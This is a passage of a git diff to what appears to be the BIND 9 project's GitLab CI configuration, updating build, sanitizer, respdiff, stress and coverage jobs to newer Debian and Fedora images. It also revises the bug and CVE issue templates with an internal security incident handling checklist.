-    TSAN_OPTIONS: ${TSAN_OPTIONS_COMMON}
-  <<: *base_image
+    TSAN_OPTIONS: "${TSAN_OPTIONS_DEBIAN}"
+  <<: *tsan_debian_bookworm_amd64_image
   <<: *system_test_tsan_job
   needs:
     - job: clang:tsan
@@ -961,136 +1172,92 @@ system:clang:tsan:
 
 unit:clang:tsan:
   variables:
-    TSAN_OPTIONS: ${TSAN_OPTIONS_COMMON} suppressions=$CI_PROJECT_DIR/tsan-suppressions.txt
-  <<: *base_image
+    TSAN_OPTIONS: "${TSAN_OPTIONS_DEBIAN}"
+  <<: *tsan_debian_bookworm_amd64_image
   <<: *unit_test_tsan_job
   needs:
     - job: clang:tsan
       artifacts: true
 
-# Jobs for builds with mutex-based atomics on Debian 10 "buster" (amd64)
+# Jobs for Debian 11 "bullseye" (amd64)
 
-gcc:mutexatomics:
-  variables:
-    CC: gcc
-    CFLAGS: "${CFLAGS_COMMON}"
-    EXTRA_CONFIGURE: "--with-libidn2 --enable-mutex-atomics"
-  <<: *base_image
-  <<: *build_job
-
-system:gcc:mutexatomics:
-  <<: *base_image
-  <<: *system_test_job
-  needs:
-    - job: gcc:mutexatomics
-      artifacts: true
-
-unit:gcc:mutexatomics:
-  <<: *base_image
-  <<: *unit_test_job
-  needs:
-    - job: gcc:mutexatomics
-      artifacts: true
-
-# Jobs for Clang builds on Debian 10 "buster" (amd64)
-
-clang:buster:amd64:
+clang:bullseye:amd64:
   variables:
     CC: ${CLANG}
     CFLAGS: "${CFLAGS_COMMON} -Wenum-conversion"
-  <<: *debian_buster_amd64_image
+  <<: *debian_bullseye_amd64_image
   <<: *build_job
 
-system:clang:buster:amd64:
-  <<: *debian_buster_amd64_image
+system:clang:bullseye:amd64:
+  <<: *debian_bullseye_amd64_image
   <<: *system_test_job
   needs:
-    - job: clang:buster:amd64
+    - job: clang:bullseye:amd64
       artifacts: true
 
-unit:clang:buster:amd64:
-  <<: *debian_buster_amd64_image
+unit:clang:bullseye:amd64:
+  <<: *debian_bullseye_amd64_image
   <<: *unit_test_job
   needs:
-    - job: clang:buster:amd64
+    - job: clang:bullseye:amd64
       artifacts: true
 
-# Jobs for PKCS#11-enabled GCC builds on Debian "sid" (amd64)
-
-gcc:softhsm2.4:
+gcc:bullseye:amd64:
   variables:
     CC: gcc
     CFLAGS: "${CFLAGS_COMMON}"
-    EXTRA_CONFIGURE: "--enable-native-pkcs11 --with-pkcs11=/usr/lib/softhsm/libsofthsm2.so"
-  <<: *base_image
+    # See https://gitlab.isc.org/isc-projects/bind9/-/issues/3444
+    EXTRA_CONFIGURE: "--with-libidn2 --without-jemalloc --disable-leak-detection"
+  <<: *debian_bullseye_amd64_image
   <<: *build_job
 
-system:gcc:softhsm2.4:
-  <<: *base_image
-  <<: *system_test_job
-  needs:
-    - job: gcc:softhsm2.4
-      artifacts: true
-
-unit:gcc:softhsm2.4:
-  <<: *base_image
-  <<: *unit_test_job
-  needs:
-    - job: gcc:softhsm2.4
-      artifacts: true
-
-# Jobs for PKCS#11-enabled GCC builds on Fedora 34 (amd64)
-
-gcc:softhsm2.6:
+system:gcc:bullseye:amd64:
+  # Set up environment variables that allow the "keyfromlabel" system test to be run
   variables:
-    CC: gcc
-    CFLAGS: "${CFLAGS_COMMON} -O1"
-    EXTRA_CONFIGURE: "--with-libidn2 --enable-native-pkcs11 --with-pkcs11=/usr/lib64/pkcs11/libsofthsm2.so"
-  <<: *fedora_34_amd64_image
-  <<: *build_job
-
-system:gcc:softhsm2.6:
-  <<: *fedora_34_amd64_image
+    OPENSSL_CONF: "/var/tmp/etc/openssl.cnf"
+    SOFTHSM2_CONF: "/var/tmp/softhsm2/softhsm2.conf"
+  <<: *debian_bullseye_amd64_image
   <<: *system_test_job
   needs:
-    - job: gcc:softhsm2.6
+    - job: gcc:bullseye:amd64
       artifacts: true
 
-unit:gcc:softhsm2.6:
-  <<: *fedora_34_amd64_image
+unit:gcc:bullseye:amd64:
+  <<: *debian_bullseye_amd64_image
   <<: *unit_test_job
   needs:
-    - job: gcc:softhsm2.6
+    - job: gcc:bullseye:amd64
       artifacts: true
 
-# Jobs for Clang builds on FreeBSD 11 (amd64)
+# Jobs for Clang builds on Debian 12 "bookworm" (amd64)
 
-clang:freebsd11:amd64:
+clang:bookworm:amd64:
   variables:
-    CFLAGS: "${CFLAGS_COMMON}"
-    EXTRA_CONFIGURE: "${WITH_READLINE}"
-    USER: gitlab-runner
-  <<: *freebsd_11_amd64_image
+    BUILD_CONTRIB: 1
+    CC: ${CLANG}
+    CFLAGS: "${CFLAGS_COMMON} -Wenum-conversion -DOPENSSL_API_COMPAT=10100"
+    # See https://gitlab.isc.org/isc-projects/bind9/-/issues/3444
+    EXTRA_CONFIGURE: "--without-jemalloc --disable-leak-detection"
+    RUN_MAKE_INSTALL: 1
+  <<: *debian_bookworm_amd64_image
   <<: *build_job
-  <<: *schedules_tags_web_triggering_rules
 
-system:clang:freebsd11:amd64:
-  <<: *freebsd_11_amd64_image
-  <<: *system_test_job
-  <<: *schedules_tags_web_triggering_rules
+system:clang:bookworm:amd64:
+  # Set up environment variables that allow the "keyfromlabel" system test to be run
   variables:
-    USER: gitlab-runner
-    TEST_PARALLEL_JOBS: 4
+    OPENSSL_CONF: "/var/tmp/etc/openssl.cnf"
+    SOFTHSM2_CONF: "/var/tmp/softhsm2/softhsm2.conf"
+  <<: *debian_bookworm_amd64_image
+  <<: *system_test_job
   needs:
-    - job: clang:freebsd11:amd64
+    - job: clang:bookworm:amd64
       artifacts: true
 
-unit:clang:freebsd11:amd64:
-  <<: *freebsd_11_amd64_image
+unit:clang:bookworm:amd64:
+  <<: *debian_bookworm_amd64_image
   <<: *unit_test_job
-  <<: *schedules_tags_web_triggering_rules
   needs:
-    - job: clang:freebsd11:amd64
+    - job: clang:bookworm:amd64
       artifacts: true
 
 # Jobs for Clang builds on FreeBSD 12 (amd64)
@@ -1108,7 +1275,6 @@ system:clang:freebsd12:amd64:
   <<: *system_test_job
   variables:
     USER: gitlab-runner
-    TEST_PARALLEL_JOBS: 4
   needs:
     - job: clang:freebsd12:amd64
       artifacts: true
@@ -1135,7 +1301,6 @@ system:clang:freebsd13:amd64:
   <<: *system_test_job
   variables:
     USER: gitlab-runner
-    TEST_PARALLEL_JOBS: 4
   needs:
     - job: clang:freebsd13:amd64
       artifacts: true
@@ -1160,14 +1325,13 @@ clang:openbsd:amd64:
 system:clang:openbsd:amd64:
   <<: *openbsd_amd64_image
   <<: *system_test_job
+  <<: *api_schedules_triggers_web_triggering_rules
   variables:
     USER: gitlab-runner
   needs:
     - job: clang:openbsd:amd64
       artifacts: true
-  only:
-    - schedules
-    - web
+  allow_failure: true
 
 unit:clang:openbsd:amd64:
   <<: *openbsd_amd64_image
@@ -1188,7 +1352,7 @@ release:
     # Prepare release tarball contents (tarballs + documentation)
     - mkdir -p release/doc/arm
     - pushd release
-    - mv "../${BIND_DIRECTORY}.tar.${TARBALL_EXTENSION}" ../BIND*.zip .
+    - mv "../${BIND_DIRECTORY}.tar.${TARBALL_EXTENSION}" .
     - tar --extract --file="${BIND_DIRECTORY}.tar.${TARBALL_EXTENSION}"
     - mv "${BIND_DIRECTORY}"/{CHANGES*,COPYRIGHT,LICENSE,README.md,srcid} .
     - rm -rf "${BIND_DIRECTORY}"
@@ -1209,35 +1373,33 @@ release:
   artifacts:
     paths:
       - "*.tar.gz"
-    expire_in: "1 day"
+    expire_in: never
 
 # Coverity Scan analysis upload
 
-.coverity_cache_prep: &coverity_cache_prep |
-  test -f cov-analysis-linux64.md5 && test -f cov-analysis-linux64.tgz || (
-  curl --output cov-analysis-linux64.md5 https://scan.coverity.com/download/linux64 \
-       --form project=$COVERITY_SCAN_PROJECT_NAME \
-       --form token=$COVERITY_SCAN_TOKEN \
-       --form md5=1
-  curl --output cov-analysis-linux64.tgz https://scan.coverity.com/download/linux64 \
-       --form project=$COVERITY_SCAN_PROJECT_NAME \
-       --form token=$COVERITY_SCAN_TOKEN
-  )
-  test "$(md5sum cov-analysis-linux64.tgz | awk '{ print $1 }')" = "$(cat cov-analysis-linux64.md5)"
-  tar --extract --gzip --file=cov-analysis-linux64.tgz
-  test -d cov-analysis-linux64-2020.09
-
-.coverity_build: &coverity_build |
-  cov-analysis-linux64-2020.09/bin/cov-build --dir cov-int sh -c 'make -j${BUILD_PARALLEL_JOBS:-1} -k all V=1'
-  tar --create --gzip --file=cov-int.tar.gz cov-int/
-  curl -v https://scan.coverity.com/builds?project=$COVERITY_SCAN_PROJECT_NAME \
-       --form token=$COVERITY_SCAN_TOKEN \
-       --form email=bind-changes@isc.org \
-       --form file=@cov-int.tar.gz \
-       --form version="$(git rev-parse --short HEAD)" \
-       --form description="$(git rev-parse --short HEAD) / $CI_COMMIT_TITLE / $CI_COMMIT_REF_NAME:$CI_PIPELINE_ID" 2>&1 \
-       | tee curl-response.txt
-  grep -q 'Build successfully submitted' curl-response.txt
+.coverity_prep: &coverity_prep
+  - curl --output /tmp/cov-analysis-linux64.md5 https://scan.coverity.com/download/linux64
+         --form project=$COVERITY_SCAN_PROJECT_NAME
+         --form token=$COVERITY_SCAN_TOKEN
+         --form md5=1
+  - curl --output /tmp/cov-analysis-linux64.tgz https://scan.coverity.com/download/linux64
+         --form project=$COVERITY_SCAN_PROJECT_NAME
+         --form token=$COVERITY_SCAN_TOKEN
+  - test "$(md5sum /tmp/cov-analysis-linux64.tgz | awk '{ print $1 }')" = "$(cat /tmp/cov-analysis-linux64.md5)"
+  - tar --extract --gzip --file=/tmp/cov-analysis-linux64.tgz --directory=/tmp
+  - test -d /tmp/cov-analysis-linux64-*
+
+.coverity_build: &coverity_build
+  - /tmp/cov-analysis-linux64-*/bin/cov-build --dir /tmp/cov-int --fs-capture-search . sh -c 'make -j${BUILD_PARALLEL_JOBS:-1} -k all V=1'
+  - tar --create --gzip --file=/tmp/cov-int.tar.gz --directory /tmp cov-int
+  - curl -v https://scan.coverity.com/builds?project=$COVERITY_SCAN_PROJECT_NAME
+        --form token=$COVERITY_SCAN_TOKEN
+        --form email=bind-changes@isc.org
+        --form file=@/tmp/cov-int.tar.gz
+        --form version="$(git rev-parse --short HEAD)"
+        --form description="$(git rev-parse --short HEAD) / $CI_COMMIT_TITLE / $CI_COMMIT_REF_NAME:$CI_PIPELINE_ID" 2>&1
+        | tee curl-response.txt
+  - grep -q 'Build successfully submitted' curl-response.txt
 
 coverity:
   <<: *base_image
@@ -1247,9 +1409,11 @@ coverity:
     CFLAGS: "${CFLAGS_COMMON} -Og"
     EXTRA_CONFIGURE: "--with-libidn2"
   script:
-    - *coverity_cache_prep
+    - *coverity_prep
     - *configure
     - *coverity_build
+  after_script:
+    - mv -v /tmp/cov-int.tar.gz ${CI_PROJECT_DIR}/
   needs:
     - job: autoreconf
       artifacts: true
@@ -1263,54 +1427,114 @@ coverity:
     variables:
       - $COVERITY_SCAN_PROJECT_NAME
       - $COVERITY_SCAN_TOKEN
-  cache:
-    key: cov-analysis-linux64-2020.09
-    paths:
-      - cov-analysis-linux64.md5
-      - cov-analysis-linux64.tgz
 
-# Respdiff test
+# Respdiff tests
 
-respdiff:
-  <<: *base_image
-  stage: system
+respdiff-short:
+  <<: *respdiff_job
+  <<: *default_triggering_rules
+  <<: *debian_bookworm_amd64_image
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og -DISC_TRACK_PTHREADS_OBJECTS"
+    MAX_DISAGREEMENTS_PERCENTAGE: "0.5"
+  script:
+    - bash respdiff.sh -m /usr/lib/x86_64-linux-gnu/libjemalloc.so.2 -s named -q "${PWD}/10k_a.txt" -c 3 -w "${PWD}/rspworkdir" "${CI_PROJECT_DIR}" "/usr/local/respdiff-reference-bind/sbin/named"
+
+respdiff-short:asan:
+  <<: *respdiff_job
+  <<: *default_triggering_rules
+  <<: *debian_bookworm_amd64_image
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og -fsanitize=address,undefined"
+    LDFLAGS: "-fsanitize=address,undefined"
+    EXTRA_CONFIGURE: "--disable-dnsrps --without-jemalloc"
+    MAX_DISAGREEMENTS_PERCENTAGE: "0.5"
+  script:
+    - bash respdiff.sh -s named -q "${PWD}/10k_a.txt" -c 3 -w "${PWD}/rspworkdir" "${CI_PROJECT_DIR}" "/usr/local/respdiff-reference-bind/sbin/named"
+
+respdiff-short:tsan:
+  <<: *respdiff_job
+  <<: *default_triggering_rules
+  <<: *tsan_debian_bookworm_amd64_image
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og -fsanitize=thread"
+    LDFLAGS: "-fsanitize=thread"
+    EXTRA_CONFIGURE: "--disable-dnsrps --enable-pthread-rwlock --without-jemalloc"
+    MAX_DISAGREEMENTS_PERCENTAGE: "0.5"
+    TSAN_OPTIONS: "${TSAN_OPTIONS_DEBIAN}"
+  script:
+    - bash respdiff.sh -s named -q "${PWD}/10k_a.txt" -c 3 -w "${PWD}/rspworkdir" "${CI_PROJECT_DIR}" "/usr/local/respdiff-reference-bind/sbin/named"
+  after_script:
+    - *find_python
+    - *parse_tsan
+
+respdiff-long:
+  <<: *respdiff_job
+  <<: *api_schedules_tags_triggers_web_triggering_rules
+  <<: *respdiff_debian_bookworm_amd64_image
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og -DISC_TRACK_PTHREADS_OBJECTS"
+    MAX_DISAGREEMENTS_PERCENTAGE: "0.5"
+  script:
+    - bash respdiff.sh -m /usr/lib/x86_64-linux-gnu/libjemalloc.so.2 -s named -q "${PWD}/100k_mixed.txt" -c 3 -w "${PWD}/rspworkdir" "${CI_PROJECT_DIR}" "/usr/local/respdiff-reference-bind/sbin/named"
+
+respdiff-long:asan:
+  <<: *respdiff_job
+  <<: *api_schedules_tags_triggers_web_triggering_rules
+  <<: *debian_bookworm_amd64_image
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og -fsanitize=address,undefined"
+    LDFLAGS: "-fsanitize=address,undefined"
+    EXTRA_CONFIGURE: "--disable-dnsrps --without-jemalloc"
+    MAX_DISAGREEMENTS_PERCENTAGE: "0.5"
+  script:
+    - bash respdiff.sh -s named -q "${PWD}/100k_mixed.txt" -c 3 -w "${PWD}/rspworkdir" "${CI_PROJECT_DIR}" "/usr/local/respdiff-reference-bind/sbin/named"
+
+respdiff-long:tsan:
+  <<: *respdiff_job
+  <<: *api_schedules_tags_triggers_web_triggering_rules
+  <<: *tsan_debian_bookworm_amd64_image
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og -fsanitize=thread"
+    LDFLAGS: "-fsanitize=thread"
+    EXTRA_CONFIGURE: "--disable-dnsrps --enable-pthread-rwlock --without-jemalloc"
+    MAX_DISAGREEMENTS_PERCENTAGE: "0.5"
+    TSAN_OPTIONS: "${TSAN_OPTIONS_DEBIAN}"
+  script:
+    - bash respdiff.sh -s named -q "${PWD}/100k_mixed.txt" -c 3 -w "${PWD}/rspworkdir" "${CI_PROJECT_DIR}" "/usr/local/respdiff-reference-bind/sbin/named"
+  after_script:
+    - *find_python
+    - *parse_tsan
+
+respdiff-long-third-party:
+  <<: *respdiff_job
+  <<: *api_schedules_tags_triggers_web_triggering_rules
+  <<: *debian_bookworm_amd64_image
   variables:
     CC: gcc
     CFLAGS: "${CFLAGS_COMMON} -Og"
-    BIND_BASELINE_VERSION: v9_11_24
+    MAX_DISAGREEMENTS_PERCENTAGE: "0.5"
   script:
-    - autoreconf -fi
-    - ./configure
-    - make -j${BUILD_PARALLEL_JOBS:-1} V=1
-    - *setup_interfaces
-    - git clone --depth 1 https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.isc.org/isc-private/bind-qa.git
-    - git clone --branch "${BIND_BASELINE_VERSION}" --depth 1 https://gitlab.isc.org/isc-projects/bind9.git refbind
-    - cd refbind/
-    - ./configure
-    - make -j${BUILD_PARALLEL_JOBS:-1} V=1
-    - cd ../bind-qa/bind9/respdiff
-    - bash respdiff.sh -q "${PWD}/100k_mixed.txt" -c 3 -w "${PWD}/rspworkdir" "${CI_PROJECT_DIR}/refbind" "${CI_PROJECT_DIR}"
-  needs:
-    - job: tarball-create
-      artifacts: true
-  only:
-    - tags
-  artifacts:
-    paths:
-      - refbind
-    untracked: true
-    expire_in: "1 day"
-    when: on_failure
+    - bash respdiff.sh -s third_party -q "${PWD}/100k_mixed.txt" -c 1 -w "${PWD}/rspworkdir" "${CI_PROJECT_DIR}"
 
 # "Stress" tests
 
+# Parallel build in the "make" step is avoided since multiple jobs can be
+# executed concurrently on the same runner. This may present problems when one
+# job runs a performance-sensitive task of replying to queries while another
+# takes all cores to build BIND.
 .stress: &stress_job
   stage: performance
   script:
     - *configure
     - *setup_interfaces
-    - *setup_softhsm
-    - make -j${BUILD_PARALLEL_JOBS:-1} -k all V=1
+    - make -k all V=1
     - make DESTDIR="${INSTALL_PATH}" install
     - git clone --depth 1 https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.isc.org/isc-private/bind-qa.git
     - cd bind-qa/bind9/stress
@@ -1320,16 +1544,17 @@ respdiff:
       artifacts: true
   artifacts:
     untracked: true
-    expire_in: "1 day"
+    expire_in: "1 week"
     when: always
   timeout: 2h
 
-stress:authoritative:fedora:34:amd64:
-  <<: *fedora_34_amd64_image
+stress:authoritative:fedora:38:amd64:
+  <<: *fedora_38_amd64_image
   <<: *linux_stress_amd64
   <<: *stress_job
   variables:
     CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og"
     FLAME: /usr/bin/flame
     MODE: authoritative
     RATE: 10000
@@ -1338,12 +1563,13 @@ stress:authoritative:fedora:34:amd64:
     variables:
       - $CI_COMMIT_TAG || ($BIND_STRESS_TEST_OS =~ /linux/i && $BIND_STRESS_TEST_MODE =~ /authoritative/i && $BIND_STRESS_TEST_ARCH =~ /amd64/i)
 
-stress:recursive:fedora:34:amd64:
-  <<: *fedora_34_amd64_image
+stress:recursive:fedora:38:amd64:
+  <<: *fedora_38_amd64_image
   <<: *linux_stress_amd64
   <<: *stress_job
   variables:
     CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og"
     FLAME: /usr/bin/flame
     MODE: recursive
     RATE: 10000
@@ -1352,12 +1578,28 @@ stress:recursive:fedora:34:amd64:
     variables:
       - $CI_COMMIT_TAG || ($BIND_STRESS_TEST_OS =~ /linux/i && $BIND_STRESS_TEST_MODE =~ /recursive/i && $BIND_STRESS_TEST_ARCH =~ /amd64/i)
 
-stress:authoritative:fedora:34:arm64:
-  <<: *fedora_34_arm64_image
+stress:rpz:fedora:38:amd64:
+  <<: *fedora_38_amd64_image
+  <<: *linux_stress_amd64
+  <<: *stress_job
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og"
+    FLAME: /usr/bin/flame
+    MODE: rpz
+    RATE: 1500
+    RUN_TIME: 1
+  only:
+    variables:
+      - $CI_COMMIT_TAG || ($BIND_STRESS_TEST_OS =~ /linux/i && $BIND_STRESS_TEST_MODE =~ /rpz/i && $BIND_STRESS_TEST_ARCH =~ /amd64/i)
+
+stress:authoritative:fedora:38:arm64:
+  <<: *fedora_38_arm64_image
   <<: *linux_stress_arm64
   <<: *stress_job
   variables:
     CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og"
     FLAME: /usr/bin/flame
     MODE: authoritative
     RATE: 10000
@@ -1366,12 +1608,13 @@ stress:authoritative:fedora:34:arm64:
     variables:
       - $CI_COMMIT_TAG || ($BIND_STRESS_TEST_OS =~ /linux/i && $BIND_STRESS_TEST_MODE =~ /authoritative/i && $BIND_STRESS_TEST_ARCH =~ /arm64/i)
 
-stress:recursive:fedora:34:arm64:
-  <<: *fedora_34_arm64_image
+stress:recursive:fedora:38:arm64:
+  <<: *fedora_38_arm64_image
   <<: *linux_stress_arm64
   <<: *stress_job
   variables:
     CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og"
     FLAME: /usr/bin/flame
     MODE: recursive
     RATE: 10000
@@ -1380,12 +1623,28 @@ stress:recursive:fedora:34:arm64:
     variables:
       - $CI_COMMIT_TAG || ($BIND_STRESS_TEST_OS =~ /linux/i && $BIND_STRESS_TEST_MODE =~ /recursive/i && $BIND_STRESS_TEST_ARCH =~ /arm64/i)
 
+stress:rpz:fedora:38:arm64:
+  <<: *fedora_38_arm64_image
+  <<: *linux_stress_arm64
+  <<: *stress_job
+  variables:
+    CC: gcc
+    CFLAGS: "${CFLAGS_COMMON} -Og"
+    FLAME: /usr/bin/flame
+    MODE: rpz
+    RATE: 1500
+    RUN_TIME: 1
+  only:
+    variables:
+      - $CI_COMMIT_TAG || ($BIND_STRESS_TEST_OS =~ /linux/i && $BIND_STRESS_TEST_MODE =~ /rpz/i && $BIND_STRESS_TEST_ARCH =~ /arm64/i)
+
 stress:authoritative:freebsd12:amd64:
   <<: *freebsd_12_amd64_image
   <<: *freebsd_stress_amd64
   <<: *stress_job
   variables:
     CC: clang
+    CFLAGS: "${CFLAGS_COMMON} -Og"
     FLAME: /usr/local/bin/flame
     MODE: authoritative
     RATE: 10000
@@ -1400,6 +1659,7 @@ stress:recursive:freebsd12:amd64:
   <<: *stress_job
   variables:
     CC: clang
+    CFLAGS: "${CFLAGS_COMMON} -Og"
     FLAME: /usr/local/bin/flame
     MODE: recursive
     RATE: 10000
@@ -1408,35 +1668,69 @@ stress:recursive:freebsd12:amd64:
     variables:
       - $CI_COMMIT_TAG || ($BIND_STRESS_TEST_OS =~ /freebsd/i && $BIND_STRESS_TEST_MODE =~ /recursive/i && $BIND_STRESS_TEST_ARCH =~ /amd64/i)
 
+stress:rpz:freebsd12:amd64:
+  <<: *freebsd_12_amd64_image
+  <<: *freebsd_stress_amd64
+  <<: *stress_job
+  variables:
+    CC: clang
+    CFLAGS: "${CFLAGS_COMMON} -Og"
+    FLAME: /usr/local/bin/flame
+    MODE: rpz
+    RATE: 1500
+    RUN_TIME: 1
+  only:
+    variables:
+      - $CI_COMMIT_TAG || ($BIND_STRESS_TEST_OS =~ /freebsd/i && $BIND_STRESS_TEST_MODE =~ /rpz/i && $BIND_STRESS_TEST_ARCH =~ /amd64/i)
+
+# git fsck operates over the whole repository and is sufficient to schedule it
+# only in one branch, preferably "main". GitLab's clone strategy prevents us
+# from using the "bind9" repo clone; we need to clone it ourselves.
+fsck:
+  <<: *base_image
+  stage: postcheck
+  variables:
+    GIT_STRATEGY: none
+  script:
+    - git clone https://gitlab.isc.org/isc-projects/bind9.git bind9-full-clone
+    - cd bind9-full-clone/
+    - git fsck
+  only:
+    - schedules
+  needs: []
+
 gcov:
   <<: *base_image
   <<: *default_triggering_rules
   stage: postcheck
   needs:
-    - job: system:gcc:buster:amd64
+    - job: system:gcc:bookworm:amd64
       artifacts: true
   script:
-    # *.gcno and *.gcda files generated for shared library objects are created
-    # in directories in which gcovr is unable to process them properly
-    # (.../.libs/...).  Move such *.gcno and *.gcda files one level higher.
-    - find . -regex ".*/\.libs/.*\.\(gcda\|gcno\)" -execdir mv "{}" .. \;
-    # Help gcovr process the nasty tricks in lib/dns/code.h, where we include C
-    # source files from lib/dns/rdata/*/, using an even nastier trick.
-    - find lib/dns/rdata/* -name "*.c" -execdir cp -f "{}" ../../ \;
+    # Ensure gcov files for unit tests are found via tests/ rather than
+    # lib/*/tests/ to prevent confusing gcovr.
+    - find lib/ -name tests -type l -delete
+    # The "a-conftest.gcno" file is result of the ./configure step and
+    # should be removed as it does not belong to the BIND 9 code base.
+    - rm a-conftest.gcno
     # Generate XML file in the Cobertura XML format suitable for use by GitLab
     # for the purpose of displaying code coverage information in the diff view
     # of a given merge request.
-    - gcovr --root . --exclude-directories bin/tests --exclude-directories doc  --exclude-directories lib/samples --exclude 'lib/.*/tests/.*' --xml -o coverage.xml
-    - gcovr --root . --exclude-directories bin/tests --exclude-directories doc  --exclude-directories lib/samples --exclude 'lib/.*/tests/.*' --html-details -o coverage.html
-    - gcovr --root . --exclude-directories bin/tests --exclude-directories doc  --exclude-directories lib/samples --exclude 'lib/.*/tests/.*' -o coverage.txt
+    - gcovr --exclude-directories bin/tests --exclude-directories doc --exclude-directories fuzz --exclude tests --cobertura-pretty -o coverage.xml
+    - gcovr --exclude-directories bin/tests --exclude-directories doc --exclude-directories fuzz --exclude tests --html-details -o coverage.html
+    - gcovr --exclude-directories bin/tests --exclude-directories doc --exclude-directories fuzz --exclude tests --txt -o coverage.txt
     - tail -n 3 coverage.txt
+  coverage: /^TOTAL.*\s+(\d+\%)$/
   artifacts:
     paths:
       - coverage*.html
+      - coverage.css
       - coverage.txt
       - coverage.xml
     reports:
-      cobertura: coverage.xml
+      coverage_report:
+        coverage_format: cobertura
+        path: coverage.xml
 
 # Pairwise testing of ./configure options
 
diff --git a/.gitlab/issue_templates/Bug.md b/.gitlab/issue_templates/Bug.md
index b2f43e8255..f8b82b694b 100644
--- a/.gitlab/issue_templates/Bug.md
+++ b/.gitlab/issue_templates/Bug.md
@@ -1,8 +1,8 @@
 <!--
 If the bug you are reporting is potentially security-related - for example,
 if it involves an assertion failure or other crash in `named` that can be
-triggered repeatedly - then please do *NOT* report it here, but send an
-email to [security-officer@isc.org](security-officer@isc.org).
+triggered repeatedly - then please make sure that you make the new issue
+confidential!
 -->
 
 ### Summary
diff --git a/.gitlab/issue_templates/CVE.md b/.gitlab/issue_templates/CVE.md
index bff1818526..782c2a4d04 100644
--- a/.gitlab/issue_templates/CVE.md
+++ b/.gitlab/issue_templates/CVE.md
@@ -3,31 +3,126 @@ THIS ISSUE TEMPLATE IS INTENDED ONLY FOR INTERNAL USE.
 
 If the bug you are reporting is potentially security-related - for example,
 if it involves an assertion failure or other crash in `named` that can be
-triggered repeatedly - then please do *NOT* report it here, but send an
-email to [security-officer@isc.org](security-officer@isc.org).
+triggered repeatedly - then please make sure that you make the new issue
+confidential!
 -->
+| Quick Links              | :link:                               |
+| ------------------------ | ------------------------------------ |
+| Incident Manager:        | @user                                |
+| Deputy Incident Manager: | @user                                |
+| Public Disclosure Date:  | YYYY-MM-DD                           |
+| CVSS Score:              | [0.0][cvss_score]                    |
+| Security Advisory:       | isc-private/printing-press!NNN       |
+| Mattermost Channel:      | [CVE-YYYY-NNNN][mattermost_url]      |
+| Support Ticket:          | [URL]                                |
+| Release Checklist:       | #NNNN                                |
+| Post-mortem Etherpad:    | [postmortem-YYYY-MM][postmortem_url] |
 
-### CVE-specific actions
-
-  - [ ] Assign a CVE identifier
-  - [ ] Determine CVSS score
-  - [ ] Determine the range of BIND versions affected (including the Subscription Edition)
-  - [ ] Determine whether workarounds for the problem exists
-  - [ ] Create a draft of the security advisory and put the information above in there
-  - [ ] Prepare a detailed description of the problem which should include the following by default:
-      - instructions for reproducing the problem (a system test is good enough)
-      - explanation of code flow which triggers the problem (a system test is *not* good enough)
-  - [ ] Prepare a private merge request containing the following items in separate commits:
-      - a test for the issue (may be moved to a separate merge request for deferred merging)
-      - a fix for the issue
-      - documentation updates (`CHANGES`, release notes, anything else applicable)
-  - [ ] Ensure the merge request from the previous step is reviewed by SWENG staff and has no outstanding discussions
-  - [ ] Ensure the documentation changes introduced by the merge request addressing the problem are reviewed by Support and Marketing staff
-  - [ ] Prepare backports of the merge request addressing the problem for all affected (and still maintained) BIND branches (backporting might affect the issue's scope and/or description)
-  - [ ] Prepare a standalone patch for the last stable release of each affected (and still maintained) BIND branch
-
-### Release-specific actions
-
-  - [ ] Create/update the private issue containing links to fixes & reproducers for all CVEs fixed in a given release cycle
-  - [ ] Reserve a block of `CHANGES` placeholders once the complete set of vulnerabilities fixed in a given release cycle is determined
-  - [ ] Ensure the merge requests containing CVE fixes are merged into `security-*` branches in CVE identifier order
+[cvss_score]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:X/AC:X/PR:X/UI:X/S:X/C:X/I:X/A:X&version=3.1
+[mattermost_url]:
+[postmortem_url]:
+
+:bulb: **Click [here][checklist_explanations] (internal resource) for general information about the security incident handling process.**
+
+[checklist_explanations]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations
+
+### Earlier Than T-5
+
+  - [ ] [:link:][step_deputy]            **(IM)** Pick a Deputy Incident Manager
+  - [ ] [:link:][step_respond]           **(IM)** Respond to the bug reporter
+  - [ ] [:link:][step_etherpad]          **(IM)** Create an Etherpad for post-mortem
+  - [ ] [:link:][step_public_mrs]        **(SwEng)** Ensure there are no public merge requests which inadvertently disclose the issue
+  - [ ] [:link:][step_assign_cve_id]     **(IM)** Assign a CVE identifier
+  - [ ] [:link:][step_note_cve_info]     **(SwEng)** Update this issue with the assigned CVE identifier and the CVSS score
+  - [ ] [:link:][step_versions_affected] **(SwEng)** Determine the range of product versions affected (including the Subscription Edition)
+  - [ ] [:link:][step_workarounds]       **(SwEng)** Determine whether workarounds for the problem exist
+  - [ ] [:link:][step_coordinate]        **(SwEng)** If necessary, coordinate with other parties
+  - [ ] [:link:][step_earliest]          **(Support)** Prepare and send out "earliest" notifications
+  - [ ] [:link:][step_advisory_mr]       **(Support)** Create a merge request for the Security Advisory and include all readily available information in it
+  - [ ] [:link:][step_reproducer_mr]     **(SwEng)** Prepare a private merge request containing a system test reproducing the problem
+  - [ ] [:link:][step_notify_support]    **(SwEng)** Notify Support when a reproducer is ready
+  - [ ] [:link:][step_code_analysis]     **(SwEng)** Prepare a detailed explanation of the code flow triggering the problem
+  - [ ] [:link:][step_fix_mr]            **(SwEng)** Prepare a private merge request with the fix
+  - [ ] [:link:][step_review_fix]        **(SwEng)** Ensure the merge request with the fix is reviewed and has no outstanding discussions
